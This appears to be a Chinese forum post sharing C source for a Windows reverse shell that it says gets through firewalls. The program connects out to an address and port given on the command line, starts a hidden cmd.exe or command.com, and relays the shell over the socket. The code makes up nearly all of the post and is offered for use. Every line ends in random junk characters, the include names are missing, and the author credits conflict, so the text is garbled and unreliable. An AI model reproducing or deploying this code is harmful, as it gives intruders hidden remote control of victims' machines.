Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 d\25  
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/* ============================== D  ,[yx='  
Rebound port in Windows NT /QQjb4S}  
By wind,2006/7 RiFUa $  
===============================*/ T`9nY!  
#include 6h0}ZM  
#include %pqB/  
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#pragma comment(lib,"wsock32.lib") $EzWUt  
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void OutputShell(); 9!.S9[[N  
SOCKET sClient;  ;v/un  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <~S]jtL.j:  
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void main(int argc,char **argv) dN7.W   
{ '*Ld,`  
WSADATA stWsaData; }$ Kd-cj+  
int nRet; CTxP3a9]  
SOCKADDR_IN stSaiClient,stSaiServer; {qOqtkj  
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if(argc != 3) }Yc5U,A;  
{ lQy-&d|=#^  
printf("Useage:\n\rRebound DestIP DestPort\n"); |kTq &^$  
return; WBb*2  
} !Uv>>MCr  
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WSAStartup(MAKEWORD(2,2),&stWsaData); f.$*9Fkw  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oxdX2"WwU  
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stSaiClient.sin_family = AF_INET; zg$ag4%Qgg  
stSaiClient.sin_port = htons(0); >8b%*f8R  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ) TRUx  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &gUa^5'#  
{ mkrVeBp  
printf("Bind Socket Failed!\n"); 7p1B"%  
return; z7+>G/o  
} 4YR{ *  
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stSaiServer.sin_family = AF_INET; _dmG#_1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 96P&+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2+Oz$9`.  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n{&;@mgI  
{ tU *`X(;  
printf("Connect Error!"); b=U3&CV9  
return; p#_5w  
} GLX{EG9Z  
OutputShell(); EVC]B}  
} M
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drk BW}_  
void OutputShell() Od:-fw  
{ ^P*-bV4  
char szBuff[1024]; ~>P(nI  
SECURITY_ATTRIBUTES stSecurityAttributes; 6As%<g=  
OSVERSIONINFO stOsversionInfo; Dwr 9}Z-]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Bf6i{`!G  
STARTUPINFO stStartupInfo; E+LQyvF[  
char *szShell; cOZBl;}  
PROCESS_INFORMATION stProcessInformation; ael] {'h]  
unsigned long lBytesRead; ZKq#PB/.  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M{)&SNI*C  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "a3?m)  
stSecurityAttributes.lpSecurityDescriptor = 0; /Ov1eQBNG  
stSecurityAttributes.bInheritHandle = TRUE; R/kJUl6HEl  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); y7%SHYC p[  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i5&,Bpfo-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uG +ZR: _  
stStartupInfo.wShowWindow = SW_HIDE; M&<qGV$A  
stStartupInfo.hStdInput = hReadPipe; Px9 K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;(A-  
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GetVersionEx(&stOsversionInfo); 6:6A"A  
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switch(stOsversionInfo.dwPlatformId) FSAX,Y  
{ C"%B>e  
case 1: (|rf>=B+H  
szShell = "command.com"; vxLr034  
break; [HUK 9hG  
default: %u_dxpx  
szShell = "cmd.exe"; kytHOn#  
break; C'R6mz%Q?  
} |0?v4%g  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T,rRE7  
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send(sClient,szMsg,77,0); 6,MQT,F  
while(1) C&R U  
{ oveK;\7/m  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "v(pluN|  
if(lBytesRead) VaGQre  
{ ICr.Gwe3_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6}!1a?X  
send(sClient,szBuff,lBytesRead,0); zSU,le  
} }6<5mq)%  
else 4*Gv0#dga  
{ I%GQ3D"=  
lBytesRead=recv(sClient,szBuff,1024,0); j"aY\cLr t  
if(lBytesRead<=0) break; T93st<F=R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &[_@f
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} V*5v JF0j  
} !c1M{klP  
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return; +^&i(7a[?  
}